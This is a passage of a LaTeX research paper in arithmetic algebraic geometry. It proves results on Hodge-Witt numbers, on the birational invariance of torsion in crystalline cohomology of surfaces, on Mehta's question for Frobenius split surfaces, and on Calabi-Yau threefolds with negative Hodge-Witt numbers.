6h^{1,1}_W=6(m^{1,1}-T^{0,2})=5c_2-c_1^2+6b_1,
\end{equation}
where $h^{1,1}_W$ is the Hodge-Witt number of $X$ and $m^{1,1}$ is the slope number of $X$.
If $X$ is ordinary, we see that $T^{0,2}=0$ and so $m^{1,1}=h^{1,1}$ is the dimension of the slope one part of $H^2_{cris}(X/W)$.
Hence $$5c_2-c_1^2+6b_1=6m^{1,1}=6h^{1,1},$$ so that
$$5c_2-c_1^2=6m^{1,1}-6b_1=6h^{1,1}-6b_1.$$ Now by the corollary we have
$$h^{1,1}\geq b_1-1$$
so that
\begin{equation}
h^{1,1}-b_1\geq -1
\end{equation}
and so
\begin{equation}
5c_2-c_1^2\geq -6,
\end{equation}
or equivalently,
\begin{equation}
c_1^2\leq 5c_2+6.
\end{equation}
This completes the proof.
\end{proof}
\begin{theorem}
Assume Conjecture~\ref{ordinaryconj}. Then except for a bounded family of surfaces satisfying \ref{assumptions}, we have
$$c_1^2\leq 6c_2.$$
\end{theorem}
\begin{proof}
By Theorem~\ref{ordconjthm}, $c_1^2\leq 5c_2+6$ holds for all surfaces satisfying \ref{assumptions}. Now consider surfaces for which \ref{assumptions} hold and $c_2< 6$. Then, for these surfaces $c_1^2\leq 5c_2+6<36$. Thus surfaces which satisfy $c_2<6$ also satisfy $c_1^2<36$ (under \ref{assumptions}). Now surfaces of general type which satisfy $c_1^2<36$ and $c_2<6$ form a bounded family. For surfaces which do not belong to this family $c_2\geq 6$. Hence
\begin{equation}
c_1^2\leq 5c_2+6<5c_2+c_2=6c_2.
\end{equation}
\end{proof}
\section{Enriques classification and Torsion in crystalline
cohomology}\label{geography-of-crystalline-torsion} The main aim
of this section is to explore geographical aspects of torsion in
crystalline cohomology. It is well-known that if $X/{\mathbb C}$ is a
smooth, projective surface then the torsion in $H^2(X,{\mathbb Z})$ is
invariant under blowups. We will see a refined version of this
result holds in positive characteristic (see
Theorem~\ref{torsion-species-and-blowups}). Our next result also
provides a new birational invariant of smooth surfaces.
\subsection{$T^{0,2}$ is a birational invariant}
\begin{proposition}\label{birational-invariance-of-domino}
Let $X,X'$ be smooth, projective surfaces and suppose that $X'\to
X$ is a birational morphism. Then $T^{0,2}(X)=T^{0,2}(X')$.
\end{proposition}
\begin{proof}
Using the fact that any birational morphism $X'\to X$ of surfaces
factors as finite sequence of blowups at closed points, we reduce
to proving this assertion for the case when $X'\to X$ is the
blowup at one closed point.
As $c_2$ increases by $1$ and $c_1^2$ decreases by $1$ under
blowups, the formula for $h^{1,1}_W$ shows that
$h^{1,1}_W(X')=h^{1,1}_W(X)+1$ while using the formula for
blowups for crystalline cohomology and a slope computation shows
that the slope numbers of $X'$ and $X$ satisfy
$$m^{1,1}(X')=m^{1,1}(X)+1, $$
here the ``1'' is the contribution coming from the cohomology in
degree two of the exceptional divisor which is one dimensional, so
the result follows as
$$h^{1,1}_W=m^{1,1}-2T^{0,2}.$$
\end{proof}
\subsection{Gros' Blowup Formula} In the next few subsections we will use the formulas
which describe the behavior of cohomology of the de Rham-Witt
complex under blowups. We recall these from \cite{gros85}. Let $X$
be a smooth projective variety and let $Y\subset X$ be a closed
subscheme, pure of codimension $d$. Let $X'$ denote the blowup of
$X$ along $Y$, and let $f:X'\to X$ be the blowing up morphism.
Then one has an isomorphism:
\begin{equation}\label{blowup-formula}
\xymatrix{
H^j(X,W\Omega^i_X)\oplus_{0<n<d}H^{j-n}(Y,W\Omega_Y^{i-n})
\ar[r]^\simeq & H^j({X'},W\Omega^i_{X'}).}
\end{equation}
\subsection{Birational invariance of the domino of a surface}
The de Rham-Witt cohomology of a smooth, projective surface has only one, possibly
non-trivial, domino. This is the domino associated to the
differential $H^2(X,W(\O_X))\to H^2(X,W\Omega^1_X)$. In this
section we prove the following.
\begin{theorem}\label{birational-domino}
Let $X,X'$ be two smooth, projective surfaces over an
algebraically closed field $k$ of characteristic $p>0$ and let
$X'\to X$ be a birational morphism. Then the dominos associated to
the differential $H^2(X,W(\O_X))\to H^2(X,W\Omega^1_X)$ are
isomorphic.
\end{theorem}
\subsection{Proof of Theorem~\ref{birational-domino}}
As any birational morphism $X'\to X$ as above factors as a finite
sequence of blowups at closed points, we may assume that $X'\to X$
is the blowup of $X$ at a single point. In what follows, to
simplify notation, we will denote objects on $X'$ by simply
writing them as \textit{primed quantities} and the \textit{unprimed quantities} will
denote objects on $X$. We will use the notation of
Subsection~\ref{differential0}.
The construction of the de Rham-Witt complex $W\Omega^\mydot_X$ is
functorial in $X$. The properties of the de Rham-Witt complex (in
the derived category of complexes of sheaves of modules over the
Cartier-Dieudonne-Raynaud algebra) under blowing up have been
studied extensively in \cite{gros85}, and using \cite[Chapter 7,
Theorem 1.1.9]{gros85}, and the usual formalism of de Rham-Witt
cohomology, we also have a morphism of slope spectral sequences.
The blowup isomorphisms described in the blowup formula fit into
the following diagram
$$\xymatrix{
H^2(W(\O_{X'})) \ar[d]_{} \ar[r]^{d'} & H^2(W\Omega^1_{X'}) \ar[d]_{} \ar[r]^{d'} & H^2(W\Omega^2_{X'}) \ar[d]^{} \\
H^2(W(\O_{X})) \ar[r]^{d} & H^2(W\Omega^1_{X}) \ar[r]^{d} & H^2(W\Omega^2_{X}). }
$$
By the Gros' blowup formula \ref{blowup-formula} all the vertical arrows
are isomorphisms. This induces an isomorphism
$Z'=\ker(d')\to\ker(d)=Z$.
Now the formula for blowup for cohomology of the de Rham-Witt
complex also shows that we have isomorphisms for $i=1,2$,
$$\xymatrix{ H^i(X',W(\O_{X'}))\ar[r]^\simeq & H^i(X',W(\O_{X}))}$$
and these fit into the following commutative diagram.
$$\xymatrix{\small
H^1(W(\O_{X'})) \ar[d]_{} \ar[r]^{} & H^1(X',\O_{X'}) \ar[d]_{} \ar[r]^{} &
H^2(W(\O_{X'})) \ar[d]_{}
\ar[r]^{} & H^2(W(\O_{X'})) \ar[d]_{} \ar[r]^{} & H^2(\O_{X'}) \ar[d]^{} \\
H^1(W(\O_{X})) \ar[r]^{} & H^1(X,\O_{X}) \ar[r]^{} &
H^2(W(\O_{X}))\ar[r]^{} & H^2(W(\O_{X})) \ar[r]^{} & H^2(\O_{X})
}$$
In the above commutative diagram we claim that all the vertical
arrows are isomorphisms. Indeed \cite[Proposition~3.4,
V.5]{hartshorne-algebraic} shows that $H^i(X',\O_{X'})\to
H^i(X,\O_{X})$ are isomorphisms for $i\geq0$. The other vertical
arrows are isomorphisms by \cite{gros85}. Thus from the diagram
we deduce an induced isomorphism
$$\xymatrix{\ker(H^2(W(\O_{X'}))\ar[r]^{V} & H^2(W(\O_{X'})))
\ar[r]^\simeq & \ker(H^2(W(\O_{X}))\ar[r]^{V} & H^2(W(\O_{X})))}.
$$
Thus the $V$-torsion in $H^2(W(\O_X))$ of $X$ and $X'$ in
$H^2(W(\O_{X'}))$ are isomorphic (we will use this in the proof of
our next theorem as well).
Now these two arguments combined also give the corresponding
assertions for the composite maps $dV^n$ (resp. $d'{V'}^n)$. Thus
we also have from a similar commutative diagram (with $dV^n$ etc.)
from which we deduce that we have isomorphisms
$\ker(d'{V'}^n)={V'}^{-n}Z'\to {V}^{-n}Z=\ker(d{V}^n)$. Thus we
have an isomorphism of the intersection of
$${V'}^{-\infty}Z'=\cap_n
{V'}^{-n}Z' \to {V'}^{-\infty}Z'=\cap_n {V}^{-n}Z.$$ Thus we have
in particular, isomorphisms
$$
\frac{H^2(X',W(\O_{X'}))}{{V'}^{-\infty}Z'} \simeq
\frac{H^2(X',W(\O_X))}{{V}^{-\infty}Z}.
$$
Now in the canonical factorization of $d$ (resp. $d'$) in terms of
their dominos we have a commutative diagram
$$\xymatrix{
H^2(W(\O_{X'}))\ar[d]_{} \ar[r]^{} & \frac{H^2(W(\O_{X'}))}{{V'}^{-\infty}Z'} \ar[d]_{} \ar[r]^{} & {F'}^\infty B' \ar[d]_{}
\ar[r]^{} & H^2(W\Omega^1_{X'}) \ar[d]^{} \\
H^2(W(\O_{X})) \ar[r]^{} & \frac{H^2(W(\O_{X}))}{V^{-\infty}Z} \ar[r]^{} & {F}^\infty {B} \ar[r]^{} & H^2(W\Omega^1_{X}).}
$$
The first two vertical arrows and the last are isomorphisms. Hence
so is the remaining arrow. This completes the proof of the
theorem.
\subsection{Crystalline Torsion}
We begin by quickly recalling Illusie's results about crystalline
torsion. By crystalline torsion we will mean torsion in the
$W$-module $H^2_{cris}(X/W)$, which we will denote by
$H^2_{cris}(X/W)_{\rm Tor}$. Let $X/k$ be a smooth projective
variety. According to \cite{illusie79b}, torsion in
$H^{cris}(X/W)$ arises from several different sources (see
\cite[Section 6]{illusie79b}). Torsion in the Neron-Severi group
of $X$, denoted $NS(X/k)_{\rm Tor}$ in this paper, injects into
$H^2_{\text{cris}}(X/W)$ via the crystalline cycle class map (see
\cite[Proposition 6.8, page 643]{illusie79b}). The next species of
torsion one finds in the crystalline cohomology of a surface is
the $V$-torsion, denoted by $H^2_{cris}(X/W)_{v}$. It is the
inverse image of $V$-torsion in $H^2(X,W(\O_X))$, denoted here by
$H^2(X,W(\O_X))_{\rm V-tors}$, under the map $H^2(X/W)\to
H^2(X,W(\O_X))$. It is disjoint from the Neron-Severi torsion (see
\cite[Proposition 6.6, page 642]{illusie79b}). Torsion of these
two species is collectively called the {\em divisorial torsion} in
\cite[page 643]{illusie79b} and denoted by $H^2_{\text{cris}}(X/W)_d$.
The quotient
$$H^2_{\text{cris}}(X/W)_e=H^2_{\text{cris}}(X/W)_{\rm
Tor}/H^2_{\text{cris}}(X/W)_d$$ is called the {\em exotic torsion} of
$H^2_{\text{cris}}(X/W)$, or if $X$ is a surface then simply by the
exotic torsion of $X$.
\subsection{Torsion of all types is invariant under blowups} Our next result concerns the torsion in the
second crystalline cohomology of a surface.
\begin{theorem}\label{torsion-species-and-blowups} Let $X'\to X$
be a birational morphism of smooth projective surfaces. Then
\begin{enumerate}
\item we have an isomorphism
$$H^2_{\text{cris}}(X/W)_{Tor}\to H^2_{cris}(X'/W)_{Tor},$$
\item and this isomorphism induces an isomorphism on the Neron-Severi, the $V$-torsion, and the exotic torsion.
\end{enumerate}
\end{theorem}
\begin{proof}
As every $X'\to X$ as in the hypothesis factors as a finite
sequence of blowups at closed points, it suffices to prove the
assertion for the blowup at one closed point. So let $X'\to X$ be
the blowup of $X$ at one closed point $x\in X$. The formula for
blowup for crystalline cohomology induces an isomorphism
$$\xymatrix{
H^2_{cris}(X/W)_{Tor}\ar[r]^{\simeq} & H^2(X'/W)_{\rm Tor}.}
$$
This proves assertion (1). As remarked earlier, the proof of
Theorem~\ref{birational-domino}, also shows that the $V$-torsion
of $H^2(W(\O_X))$ and $H^2(W(\O_{X'}))$ are isomorphic. Then by
\cite[Proposition 6.6, Page 642]{illusie79b} we see that the
$V$-torsion of $X$ and $X'$ are isomorphic. Thus we have an
isomorphism on the $V$-torsion $H^2_{cris}(X/W)_{v}\isom
H^2_{cris}(X'/W)_v$. Further it is standard that the
N\'eron-Severi group of $X$ does not acquire any torsion under
blowup $X'\to X$. So we have an isomorphism
$$H^2_{cris}(X/W)_{d}\to H^2_{cris}(X'/W)_{d},$$
of the divisorial torsion of $X$ and $X'$. Therefore in the
commutative diagram
$$
\xymatrix{
0 \ar[r]^{} & H^2_{cris}(X/W)_d \ar[d]^{\simeq} \ar[r] & H^2_{cris}(X/W)_{Tor}
\ar[d]_{\simeq} \ar[r]^{} & H^2_{cris}(X/W)_e \ar[d]_{}
\ar[r]^{} & 0 \\
0 \ar[r]^{} & H^2_{cris}(X'/W)_d \ar[r] & H^2_{cris}(X'/W)_{Tor}
\ar[r]^{} & H^2_{cris}(X'/W)_e \ar[r]^{} & 0
}
$$
the first two columns are isomorphisms and the rows are exact so
that the last arrow is an isomorphism.
\end{proof}
\begin{remark} It is clear from
Proposition~\ref{torsion-species-and-blowups} that while studying
torsion in the crystalline cohomology of a surface that we can
replace $X$ by its smooth minimal model (when it exits).
\end{remark}
\subsection{$\kappa\leq0$ means no exotic torsion} The next result we want to prove is probably
well-known to the experts. But we will prove a more precise form
of this result in Theorem~\ref{precise-torsion} and
Proposition~\ref{classification-of-torsion-for-kappa0}. We begin
by stating the result in its coarsest form.
\begin{theorem} Let $X/k$ be a smooth projective surface over a
perfect field. If $\kappa(X)\leq 0$ then $H^2_{\text{cris}}(X/W)$ does
not have exotic torsion.
\end{theorem}
\subsection{The case $\kappa(X)=-\infty$}
The case $\kappa(X)=-\infty$ is the easiest of all. If
$\kappa(X)=-\infty$, then $X$ is rational or ruled. If $X$ is
rational, by the birational invariance of torsion we reduce to the
case $X=\P^2$ or $X$ is a $\P^1$-bundle over $\P^1$ and in these
case on deduces the result following result by inspection. Thus
one has to deal with the case that $X$ is ruled.
\begin{proposition} Let $X$ be a smooth ruled surface over $k$. Then
$H^2_{\text{cris}}(X/W)$ is torsion free and $X$ is Hodge-Witt.
\end{proposition}
\begin{proof}
The first assertion follows from the formula for crystalline
cohomology of a projective bundle over a smooth projective scheme. The
second assertion follows from the following lemma which is of
independent interest and will be of frequent use to us.
\end{proof}
\begin{lemma} \label{pgzero-hodge-witt}
Let $X$ be a smooth, projective variety over a perfect field $k$.
\begin{enumerate}
\item If $H^i(X,\O_X)=0$ then $H^i(X,W(\O_X))=0$.
\item If $X/k$ is a surface with $p_g(X)=0$ then
$X$ is Hodge-Witt.
\end{enumerate}
\end{lemma}
\begin{proof} This is well-known and was also was noted in
\cite{joshi00a}. We include it here for completeness. Clearly, it
is sufficient to prove the first assertion. We have the exact
sequence
\begin{equation}
0 \to W_{n-1}(\O_X)\to W_n(\O_X)\to \O_X \to 0
\end{equation}
The result now follows by induction on $n$ and the fact that
$H^i(X,\O_X)=0$.
\end{proof}
\begin{lemma}\label{pgzero-exotic}
Let $X$ be a smooth projective variety over a perfect field. If
$H^2(X,\O_X)=0$ then there is no exotic or $V$-torsion in
$H^2_{\text{cris}}(X/W)$.
\end{lemma}
\begin{proof}
By Illusie's description of exotic torsion (see \cite{illusie79b})
one knows that it is the quotient of a part of $p$-torsion in
$H^2(X,W(\O_X))$, but this group is zero by the
Lemma~\ref{pgzero-hodge-witt}, so its quotient by the $V$-torsion
is zero as well.
\end{proof}
\subsection{Surfaces with $\kappa(X)=0$}
Let $X$ be a smooth projective surface with $\kappa(X)=0$.
We can describe the crystalline torsion of such surfaces
completely. The description of surfaces with $\kappa(X)=0$ breaks
down in to the following cases based on the value of $b_2$ of the
surface $X$ (see \cite{bombieri77}).
\begin{proposition}\label{classification-of-torsion-for-kappa0}
Let $X/k$ be a smooth projective surface of Kodaira dimension
zero. Then one has the following:
\begin{enumerate}
\item if $b_1(X)=4$, then $X$ is an abelian surface and
$H^2_{\text{cris}}(X/W)$ is torsion free so all species of torsion are
zero; moreover $X$ is Hodge-Witt if and only if $X$ has $p$-rank one.
\item if $b_2(X)=22$, then $X$ is a $K3$-surface and
$H^2_{\text{cris}}(X/W)$ is torsion free and $X$ is Hodge-Witt if and only
if the formal Brauer group of $X$ is of finite height.
\item Assume $b_2=2$. Then $b_1=2$ and there are two subcases given by
the value of $p_g$:
\begin{enumerate}
\item if $p_g=0$, then $H^2_{\text{cris}}(X/W)$ has no torsion and $X$ is
Hodge-Witt;
\item if $p_g=1$ then $H^2_{\text{cris}}(X/W)$ has $V$-torsion and ${\rm Pic\,}(X)$
is not reduced.
\end{enumerate}
\item if $b_2=10$, then $p_g=0$ and unless $\text{char}(k)=2$ and in
the latter case $p_g=1$; in the former case $X$ is Hodge-Witt and $X$
has no $V$-torsion; if $p_g=1$ then $H^2_{\text{cris}}(X/W)$ has $V$-torsion.
\end{enumerate}
\end{proposition}
\begin{proof}
The assertion (1) is well-known. The assertion (2) is due to
\cite{nygaard79b}. The cases when $X$ has $p_g=0$ can be easily
dealt with by using Lemma~\ref{pgzero-hodge-witt} and
Lemma~\ref{pgzero-exotic}.
\end{proof}
\begin{corollary} Let $X$ be a smooth projective surface over a
perfect field. Assume $\kappa(X)=0$ then $H^2_{\text{cris}}(X/W)$ has no
exotic torsion.
\end{corollary}
\begin{proof}
The cases when $p_g=0$ are treated by means of
Lemma~\ref{pgzero-exotic}. The remaining cases follow from Suwa's
criterion (see \cite{suwa83}) as in all these case one has by
\cite{bombieri77} that $q=-p_a$ so Suwa's criterion applies and in
this situation $H^2(X,W(\O_X))$ is $V$-torsion, and therefore there is
no exotic torsion
\end{proof}
\begin{corollary}\label{precise-torsion}
Let $X$ be a smooth, projective surface over an algebraically
closed field $k$ of characteristic $p>0$.
\begin{enumerate}
\item If $X$ has exotic torsion the $\kappa(X)\geq 1$.
\item If $X$ has $V$-torsion then
\begin{enumerate}
\item $\kappa(X)\geq 1$ or,
\item $\kappa(X)=0$ and $X$ has $b_2=2, p_g=1$ or $p=2$, $b_2=10,
p_g=1$.
\end{enumerate}
\end{enumerate}
\end{corollary}
\subsection{A criterion for non-existence of exotic torsion}
Apart from \cite{joshi00b} and \cite{suwa83} we do not know any
useful general criteria for ruling out existence of exotic
torsion. The following trivial result is often useful in dealing
with exotic torsion in surfaces of general type.
\begin{proposition} Let $X/k$
be a smooth, projective surface over a perfect field. Assume
${\rm Pic\,}(X)$ is reduced and $H^2(X,W(\O_X))$ is of finite type. Then
$H^2_{\text{cris}}(X/W(k))$ does not contain exotic torsion.
\end{proposition}
\begin{proof}
Recall from \cite{nygaard79b} that a smooth projective
surface is Hodge-Witt if and only if $H^2(X,W(\O_X))$ is of finite
type. Then as ${\rm Pic\,}(X)$ is reduced, we see that $V$ is injective
on $H^2(X,W(\O_X))$. Thus $H^2(X,W(\O_X))$ is a Cartier module of
finite type. By \cite[Proposition 2.5, page 99]{illusie83b} we
know that any $R^0$-module which is a finite type $W(k)$-module is
a Cartier module if and only if it is a free $W(k)$-module. Thus
$H^2(X,W(\O_X))$ is a free $W(k)$-module of finite type. By
\cite[Section 6.7, page 643]{illusie79b} we see that the exotic
torsion of $H^2_{\text{cris}}(X/W(k))$ is zero as it is a quotient of
the image of torsion in $H^2_{\text{cris}}(X/W(k))$ (under the canonical
projection $H^2_{\text{cris}}(X/W(k))\to H^2(X,W(\O_X))$) by the
$V$-torsion of $H^2(X,W(\O_X))$. But as $H^2(X,W(\O_X))$ is
torsion free, we see that the exotic torsion is zero.
\end{proof}
\section{Mehta's question for surfaces}\label{mehta-question}
\subsection{Is torsion uniformizable?} In this section we answer the following question of
Mehta (see \cite{joshi00b}):
\begin{question} Let $X/k$ be a
smooth, projective, Frobenius split variety over a perfect field
$k$. Then does there exists a Galois \'etale cover $X'\to X$ such that
$H^2_{\text{cris}}(X/W)$ is torsion free.
\end{question}
\subsection{Absence of exotic torsion}
In \cite{joshi00b} it was shown that the second crystalline cohomology
of smooth, projective, Frobenius split surface does not have exotic torsion in the
second crystalline cohomology. In \cite{joshi00a} it was shown that any
smooth, projective Frobenius split surface is ordinary.
\subsection{The case $\kappa(X)=0$}
We will prove now that the answer to the above question is
affirmative and in fact the assertion is true more generally for
$X$ with $\kappa(X)\leq 0$. The main theorems of this section are
\begin{theorem}\label{questofmehta1} Let $X$ be a smooth, projective surface of Kodaira
dimension at most zero, then there exists a Galois \'etale cover
$X'\to X$ such that $H^2_{\text{cris}}(X/W)$ is torsion free.
\end{theorem}
\begin{theorem}\label{questofmehta2} Let $X$ be a smooth, projective
surface over a perfect field. Assume $X$ is Frobenius split. Then
there exists a Galois \'etale cover $X'\to X$ such that
$H^2_{\text{cris}}(X'/W)$ is torsion free.
\end{theorem}
\begin{proof}{[of Theorem~\ref{questofmehta1}]}
We now note that Mehta's question is trivially true for ruled
surfaces as these have torsion-free crystalline cohomology. So we
may assume that $\kappa(X)=0$. In this case we have a finite
number of classes of surfaces for which the assertion has to be
verified. These classes are classified by $b_2$. When $X$ is a
$K3$ or an Enriques' surface or an abelian surface then we can
take $X'=X$ as such surfaces have torsion free crystalline
cohomology. When $b_2=2$ the surface is bielliptic and by explicit
classification of these we know that we may take the Galois cover
to be the product of elliptic curves and so we are done in these
cases as well.
\end{proof}
\begin{proof}{[of Theorem~\ref{questofmehta2}]}
After Theorem~\ref{questofmehta1} it suffices to prove that the
Kodaira dimension of a Frobenius split surface is at most zero.
This follows from Proposition~\ref{classification-fsplit} below
(and is, in any case, well-known to experts).
\end{proof}
\begin{proposition}\label{classification-fsplit} Let $X$ be a smooth
projective surface. If $X$ is a Frobenius split then, $X$ has
Kodaira dimension at most zero and is in the following list:
\begin{enumerate}
\item $X$ is either rational or ruled over an ordinary curve,
\item $X$ is a either an ordinary $K3$, or an ordinary abelian surface
or $X$ is bielliptic with an ordinary elliptic curve as its Albanese
variety, or $X$ is an ordinary Enriques surface.
\end{enumerate}
\end{proposition}
\begin{proof}
We first control the Kodaira dimension of a Frobenius split
surface. By \cite{mehta85b} we know that if $X$ is Frobenius
split, then $H^2(X,K_X)\to H^2(X,K_X^p)$ is injective, or by
duality, $H^0(X,K_X^{1-p})$ has a non-zero section and hence in
particular, $H^0(X,K_X^{-n})$ has sections for large $n$. Hence,
if $\kappa(X)\geq 1$, then as the pluricanonical system $P_n$ is
also non-zero for large $n$, so we can choose an $n$ large enough
such both that $K_X^n$ and $K_X^{-n}$ have sections and so
$K_X^n=\O_X$ for some integer $n$. But this contradicts the fact
that $\kappa(X)=1$, for in that case $K_X$ is non-torsion, so we
deduce that $X$ has $\kappa(X)\leq 0$. Now the result follows from
the classification of surfaces with $\kappa(x)\leq 0$.
\end{proof}
\section{Hodge-Witt numbers of threefolds}\label{hodge-witt-numbers-of-threefolds}
In this section we compute Hodge-Witt numbers of smooth projective
threefolds. In Theorem~\ref{non-liftable-b3} we characterize
Calabi-Yau threefolds with negative Hodge-Witt numbers and in
Proposition~\ref{hirokado-example} we provide an example of a
Calabi-Yau threefold with negative Hodge-Witt numbers (the
threefold in question is the Hirokado threefold).
\subsection{Non-negative Hodge-Witt numbers of threefolds} We begin by listing all the Hodge-Witt numbers of a
smooth, projective threefolds which are always non-negative.
\begin{proposition}\label{non-negative-hw}
Let $X/k$ be a smooth, projective threefold over a perfect
field of characteristic $p>0$.
\begin{enumerate}
\item Then $h^{i,j}_W\geq 0$ except possibly when $(i,j)\in\left\{
(1,1),(2,1),(1,2),(2,2)\right\}$.
\item All the Hodge-Witt numbers except
$h_W^{1,1}=h^{2,2}_W,h_W^{1,2}=h_W^{2,1}$ coincide with the
corresponding slope numbers.
\item For the exceptional cases we
have the following formulas.
\begin{eqnarray}
h^{1,2}_W&=&m^{1,2}-T^{0,3}\\
h^{1,1}_W&=&m^{1,1}-2T^{0,2}
\end{eqnarray}
\end{enumerate}
\end{proposition}
\begin{proof}
Let us prove (1). This uses the criterion for degeneration of the
slope spectral sequence given in \cite{joshi00b}. The criterion
shows that $T^{i,j}=0$ unless $(i,j)\in
\left\{(0,3),(0,2),(1,2),(3,1)\right\}$. By Definition~\ref{hodge-witt-definition} of $h^{i,j}_W$ it suffices to verify that
$T^{i-1,j+1}=0$ except possibly in the four cases listed in the
proposition. This completes the proof of (1). To prove (2), we
begin by observing that Hodge-Witt symmetry
\ref{hodge-witt-symmetry} gives $h^{2,1}_W=h^{1,2}_W$ and we also
have $h^{1,1}_W=h^{3-1,3-1}_W=h^{2,2}_W$. So this proves the first
part of (2). Next the criterion for degeneration of the slope
spectral sequence shows that in all the cases except the listed
ones, the domino numbers which appear in the definition of
$h^{i,j}_W$ are zero. This proves (2). The second formula of (3)
now follows again from the definition of $h^{i,j}_W$ (see
\ref{hodge-witt-definition} and the criterion for the degeneration
of the slope spectral sequence). The first formula of (3) follows
from the definition of $h^{1,2}_W=m^{1,2}+T^{1,2}-2T^{0,3}$, and
by duality for domino numbers \ref{domino-duality} we have
$T^{1,2}=T^{0,3}$.
\end{proof}
\subsection{Hodge-Witt Formulaire for Calabi-Yau threefolds}
The formulas for Hodge-Witt numbers can be made even more
explicit in the case of Calabi-Yau varieties.
\begin{proposition}\label{calabi-yau-formulaire}
Let $X$ be a smooth, projective Calabi-Yau threefold. Then the
Hodge-Witt numbers of $X$ are given by:
\begin{eqnarray}
h^{0,0}_W&=&1\\
h^{0,1}_W&=&0\\
h^{0,2}_W&=&0\\
h^{0,3}_W&=&1\\
h^{1,1}_W&=&b_2\\
h^{1,2}_W&=&b_2-\frac{1}{2}c_3(X)\\
h^{1,3}_W&=&0
\end{eqnarray}
The remaining numbers are computed from these by using Hodge-Witt
symmetry and the symmetry $h^{i,j}_W=h^{3-i,3-j}_W$.
\end{proposition}
\begin{proof}
We first note that $h^{0,0}_W=h^{0,0}=1$ is trivial. The
Hodge-Witt numbers in the first four equations are also
non-negative by the previous proposition as $T^{0,2}=0$. Moreover,
by \cite{ekedahl-diagonal} it suffices to note that $h^{i,j}_W\leq
h^{i,j}$ and in the second and the third formulas we have by
non-negativity of $h^{i,j}_W$ that $0\leq h^{0,1}_W\leq h^{0,1}=0$
(by the definition of Calabi-Yau threefolds) and similarly for the
third formula. The fourth formula is a consequence of Crew's
formula and first three equations:
\begin{equation}
0=\chi(O_X)=h^{0,0}_W-h^{0,1}_W+h^{0,2}_W-h^{0,3}_W
\end{equation}
In particular we deduce from the fourth formula and
$$0\leq h^{0,3}_W=m^{0,3}+T^{0,3}\leq 1$$
that if $T^{0,3}=0$ so that $X$ is Hodge-Witt then the definition
of $m^{0,3}$ shows that
$$m^{0,3}=\sum_{\lambda}(1-\lambda)\dim
H^3_{cris}(X/W)_{[\lambda]}.$$ So that the inequality shows that
$H^3_{cris}(X/W)$ contains at most one slope $0\leq \lambda<1$
with $\lambda=\frac{h-1}{h}$ (with $h$ allowed to be $1$, to
include $\lambda=0$), and so if $T^{0,3}=0$ then $m^{0,3}=1$. Thus
it remains to prove the formulas for $h^{1,1}_W$ and $h^{2,1}_W$.
We first note that by definition:
\begin{equation}
h^{1,1}_W=m^{1,1}+T^{1,1}-2T^{0,2}.
\end{equation}
Now as $h^{0,2}=0$ we get $T^{0,2}=0$, and $T^{1,1}=0$ by
\cite[Corollaire 3.11, page 136]{illusie83b}. Thus we get
$h^{1,1}_W=m^{1,1}$. Next
$$m^{0,2}+m^{1,1}+m^{2,0}=b_2$$
and as $m^{0,2}=0=m^{2,0}$ we see that $h^{1,1}_W=m^{1,1}=b_2$.
The remaining formula is also a straight forward application of
Crew's formula
\begin{equation}
\chi(\Omega^1_X)=h^{1,0}_W-h^{1,1}_W+h^{1,2}_W-h^{1,3}_W
\end{equation}
and the Grothendieck-Hirzebruch-Riemann-Roch for $\Omega^1_X$,
which we recall in the following lemma.
\end{proof}
\begin{lemma}
Let $X$ be a smooth projective threefold over a perfect
field. Then
\begin{equation}
\chi(\Omega^1_X)=
-\frac{23}{24}c_1\cdot
c_2-\frac{1}{2}c_3.
\end{equation}
\end{lemma}
\begin{proof}
This is trivial from the Grothendieck-Hirzebruch-Riemann-Roch
theorem. We give a proof here for completeness. We have
\begin{eqnarray*}
\chi(\Omega^1_X)&=&\left[3-c_1+\frac{1}{2}(c_1^2-2c_2)+
\frac{1}{6}\left(-c_1^3-3c_1\cdot c_2-3c_3\right)\right]\\
&&\quad\times
\left[1+\frac{1}{2}c_1+\frac{1}{12}(c_1^2+c_2)+\frac{1}{24}c_1\cdot
c_2\right]_3
\end{eqnarray*}
This simplifies to the claimed equation.
\end{proof}
\subsection{Calabi-Yau threefolds with negative $h^{1,2}_W$}
\label{calabi-yau-negative}
In
this section we investigate Calabi-Yau threefolds with negative
Hodge-Witt numbers. From the formulas
\eqref{calabi-yau-formulaire} it is clear that the only possible
Hodge-Witt number which might be negative is $h^{1,2}_W$. We begin
by characterizing such surfaces (see Theorem~\ref{non-liftable-b3}
below). Then we verify (in Proposition~\ref{hirokado-example})
that the in characteristic $p=2,3$, there do exist Calabi-Yau
threefolds with negative Hodge-Witt numbers. These are the
Hirokado and Schr\"oer Calabi-Yau threefolds (which do not lift to
characteristic zero).
\begin{theorem}
\label{non-liftable-b3}
Let $X$ be a smooth, projective Calabi-Yau threefold over a
perfect field of characteristic $p>0$. Then the following
conditions are equivalent
\begin{enumerate}
\item the Hodge-Witt number $h^{1,2}_W=-1$,
\item the Hodge-Witt number $h^{1,2}_W<0$,
\item the $W$-module $H^3_{cris}(X/W)$ is torsion,
\item the Betti number $b_3=0$.
\item the threefold $X$ is not Hodge-Witt and the slope number
$m^{1,2}=0$.
\end{enumerate}
\end{theorem}
\begin{proof}
It is clear that (1) implies (2), and similarly it is clear that
(3) $\Leftrightarrow$ (4). So the only assertions which need to be
proved are the assertions (2) implies (3) and the assertion (4)
implies (1). So let us prove (2) implies (3). By the proof of
\ref{calabi-yau-formulaire} we see that
$h^{1,2}_W=m^{1,2}-T^{0,3}$ and as $T^{0,3}\leq 1$, we see that if
$h^{1,2}_W<0$ then we must have $h^{1,2}_W=-1, T^{0,2}=1,
m^{1,2}=0$ (the first of these equalities of course shows that (2)
implies (1)). So the hypothesis of (2) implies in particular that
$T^{0,3}=1$ in other words, $X$ is non-Hodge-Witt and so
$H^3(X,W(\O_X))$ is $p$-torsion. Hence the number $m^{0,3}=0$.
Now by the symmetry \eqref{slope-symmetry} we see that
$m^{0,3}=m^{3,0}=m^{1,2}=m^{1,2}=0$. From this and the formula
\eqref{slope-betti} we see that
$$b_3=m^{0,3}+m^{1,2}+m^{2,1}+m^{3,0}=0.$$
This completes the proof of (2) implies (3). Let us prove that (4)
implies (5). The hypothesis of (4) and preceding equation shows
that $m^{0,3}=m^{1,2}=0$. So we have to verify that $X$ is not
Hodge-Witt. Assume that this is not the case. The vanishing
$m^{0,3}=0$ says that $H^3(X,W(\O_X))\tensor_W K=0$ and as
$H^2(X,\O_X)=0$ we see that $V$ is injective on $H^3(X,W(\O_X))$.
If $X$ is Hodge-Witt, then so this $W$-module is a finite type
$W$-module with $V$-injective. Therefore it is a Cartier module of
